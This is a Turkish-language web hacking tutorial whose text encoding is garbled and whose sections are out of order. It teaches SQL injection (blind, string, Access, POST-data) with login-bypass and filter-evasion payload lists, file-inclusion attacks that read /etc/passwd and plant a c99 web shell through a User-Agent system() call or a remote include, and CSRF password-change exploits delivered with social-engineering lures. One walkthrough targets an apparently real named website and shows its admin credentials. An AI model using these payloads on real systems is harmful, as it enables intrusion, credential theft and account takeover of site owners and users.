Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
